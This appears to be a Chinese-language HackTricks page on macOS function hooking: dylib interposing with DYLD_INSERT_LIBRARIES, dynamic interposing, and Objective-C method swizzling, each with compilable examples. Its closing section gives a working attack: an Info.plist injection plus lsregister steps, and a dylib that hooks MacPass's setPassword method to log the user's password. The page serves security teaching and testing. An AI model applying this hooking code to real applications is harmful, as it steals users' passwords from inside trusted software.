> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md).

# macOS Function Hooking

<details>

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## 函数插入

创建一个包含指向**原始**和**替换**函数的**函数指针**元组的**dylib**，其中包含一个\*\*`__interpose` (`__DATA___interpose`)**部分（或一个标记为**`S_INTERPOSING`\*\*的部分）。

然后，使用\*\*`DYLD_INSERT_LIBRARIES`**注入dylib（插入操作需要在主应用程序加载之前发生）。显然，这里也适用于对**`DYLD_INSERT_LIBRARIES`\*\*的[**限制**](/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection.md#check-restrictions)。

### 插入printf

{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" overflow="wrap" %}

```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```

{% endcode %}
{% endtab %}

{% tab title="hello.c" %}

```c
//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}
```

{% endtab %}

{% tab title="interpose2.c" %}
{% code overflow="wrap" %}

```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);
```

{% endcode %}
{% endtab %}
{% endtabs %}

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```

{% hint style="warning" %}
**`DYLD_PRINT_INTERPOSTING`** 环境变量可用于调试 interposing，并将打印 interpose 过程。
{% endhint %}

还要注意，**interposing 发生在进程和加载的库之间**，它不适用于共享库缓存。

### 动态 Interposing

现在也可以使用函数 **`dyld_dynamic_interpose`** 动态地 interpose 一个函数。这允许在运行时以编程方式 interpose 一个函数，而不仅仅是从一开始就这样做。

只需要指示**要替换的函数和替换函数的元组**。

```c
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);
```

## 方法交换

在 ObjectiveC 中，方法的调用方式如下：**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**

需要**对象**、**方法**和**参数**。当调用方法时，会使用函数\*\*`objc_msgSend`**发送**消息\*\*：`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`

对象是\*\*`someObject`**，方法是**`@selector(method1p1:p2:)`**，参数是**value1\*\*、**value2**。

根据对象结构，可以访问一个包含方法**名称**和**指向方法代码的指针**的**方法数组**。

{% hint style="danger" %}
请注意，由于方法和类是根据它们的名称访问的，这些信息存储在二进制文件中，因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索它们。
{% endhint %}

### 访问原始方法

可以访问方法的信息，如名称、参数数量或地址，如下例所示：

{% code overflow="wrap" %}

```
```

{% endcode %}

```objectivec
// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}
```

### 使用`method_exchangeImplementations`进行方法交换

函数\*\*`method_exchangeImplementations`**允许**更改**一个函数的**实现地址为另一个函数\*\*的地址。

{% hint style="danger" %}
因此，当调用一个函数时，**执行的是另一个函数**。
{% endhint %}

{% code overflow="wrap" %}

```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}
```

{% endcode %}

{% hint style="warning" %}
在这种情况下，如果**合法方法的实现代码**验证**方法名称**，它可以**检测**到这种方法交换并阻止其运行。

以下技术没有这种限制。
{% endhint %}

### 使用method\_setImplementation进行方法交换

之前的格式很奇怪，因为你正在改变其中一个方法的实现。使用函数\*\*`method_setImplementation`**，你可以将一个方法的实现**更改为另一个方法\*\*。

只需记住，如果你打算从新实现中调用原始实现的地址，**请存储原始实现的地址**，因为稍后要定位该地址将变得更加复杂。

{% code overflow="wrap" %}

```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}
```

{% endcode %}

## Hooking Attack Methodology

在这一页中，讨论了钩住函数的不同方法。然而，它们涉及**在进程内运行代码进行攻击**。

为了做到这一点，最简单的技术是通过注入[Dyld通过环境变量或劫持](/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md)。然而，我想这也可以通过[Dylib进程注入](/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication.md#dylib-process-injection-via-task-port)来实现。

然而，这两种选项都**限制**在**未受保护**的二进制文件/进程上。查看每种技术以了解更多限制。

然而，函数钩取攻击非常具体，攻击者会这样做是为了**从进程内部窃取敏感信息**（如果不是的话，你只会进行进程注入攻击）。而这些敏感信息可能位于用户下载的应用程序中，比如MacPass。

因此，攻击者的向量将是要么找到一个漏洞，要么剥离应用程序的签名，通过应用程序的Info.plist注入\*\*`DYLD_INSERT_LIBRARIES`\*\*环境变量，添加类似以下内容：

```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```

然后**重新注册**应用程序：

{% code overflow="wrap" %}

```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```

{% endcode %}

在该库中添加挂钩代码以外泄信息：密码，消息...

{% hint style="danger" %}
请注意，在 macOS 的新版本中，如果您**剥离应用程序二进制文件的签名**，并且该应用程序之前已被执行过，macOS将**不再执行该应用程序**。
{% endhint %}

#### 库示例

{% code overflow="wrap" %}

```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```

{% endcode %}

## 参考

* <https://nshipster.com/method-swizzling/>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

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</details>